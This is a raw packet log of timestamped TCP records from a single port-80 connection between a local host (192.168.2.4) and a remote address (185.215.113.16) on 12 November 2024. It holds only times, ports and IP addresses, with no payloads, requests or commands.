Nov 12, 2024 21:21:45.525728941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525737047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525751114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525762081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525762081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525770903 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525775909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525788069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525799036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525799990 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525810957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525821924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525821924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525835991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525837898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525849104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525861025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525871992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525872946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525885105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525895119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525897026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525911093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525917053 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525926113 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525930882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525938034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525952101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525960922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525963068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525975943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.525985003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.525988102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526000977 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526012897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526014090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526026964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526035070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526037931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526043892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526051998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526057959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526067972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526070118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526082993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526091099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526094913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526108027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526115894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526122093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526134014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526140928 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526145935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526158094 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526165009 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526170015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526184082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526196003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526196957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526201963 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526210070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526222944 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526232958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526233912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526247978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526256084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526261091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526273966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526273966 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526285887 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526298046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526303053 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526309967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526324034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526330948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526335001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526340961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526349068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526359081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526370049 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526371956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526382923 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526386023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526395082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526408911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526420116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526421070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526421070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526432991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526437998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526444912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526458979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526468039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526468992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526483059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526495934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526506901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.526520967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526520967 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526541948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526741028 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.526905060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578810930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578830004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578841925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578854084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578866959 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578871012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578876972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578883886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578896046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578907967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578911066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578917980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578921080 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578933954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578943968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578946114 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578957081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578968048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578979015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.578980923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578982115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.578991890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.579001904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.579011917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.579015017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.579029083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.579031944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.579071999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.632271051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632287025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632297993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632309914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632320881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632333994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632348061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.632349014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632364988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.632396936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.632415056 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.664657116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664755106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664764881 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664776087 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664788008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664804935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664818048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664819956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.664829969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664843082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664855957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.664876938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664889097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664889097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.664928913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.664961100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664973021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.664990902 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665021896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665024042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665035009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665047884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665067911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665083885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665096045 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665100098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665107965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665116072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665121078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665142059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665144920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665144920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665153980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665165901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665170908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665177107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665186882 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665194988 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665216923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665229082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665268898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665291071 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665301085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665328979 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665339947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665359020 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665371895 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665383101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665405035 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665416002 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665426970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665436029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665445089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665452003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665456057 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665467978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665478945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665487051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665508032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665851116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665904045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665935993 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665947914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665960073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665977955 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665978909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.665991068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.665993929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666011095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666013002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666023016 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666034937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666043043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666044950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666065931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666066885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666079044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666096926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666100979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666109085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666111946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666122913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666145086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666320086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666337013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666357040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666368008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666378975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666389942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666399002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666400909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666414976 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666419029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666425943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666451931 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666461945 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666475058 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666496038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666604042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666616917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666627884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666639090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666642904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666651964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666662931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666668892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666668892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666676044 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666691065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666697025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666716099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666719913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666733980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666758060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666834116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666872978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666906118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666917086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.666934013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.666959047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667009115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667021036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667032003 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667045116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667052984 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667085886 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667161942 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667174101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667185068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667196989 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667198896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667210102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667217016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667249918 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667263985 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667273998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667280912 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667293072 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667305946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667309046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667323112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667324066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667335033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667346954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667361021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667361021 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667391062 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667589903 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667606115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667618036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667629957 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667640924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667651892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667664051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667675018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667685032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667684078 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667697906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667710066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667721033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667725086 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667732954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667740107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667743921 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667751074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667757034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667767048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667778969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667781115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667789936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667802095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667813063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667818069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667819023 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667829990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.667845964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.667872906 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668482065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668556929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668569088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668612003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668675900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668689013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668699980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668706894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668711901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668725014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668746948 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668767929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668864965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668875933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668888092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668900013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668903112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668912888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668920040 CET	49762	80	192.168.2.4	185.215.113.16
Nov 12, 2024 21:21:45.668926001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668946028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 12, 2024 21:21:45.668951035 CET	49762	80	192.168.2.4	185.215.113.16
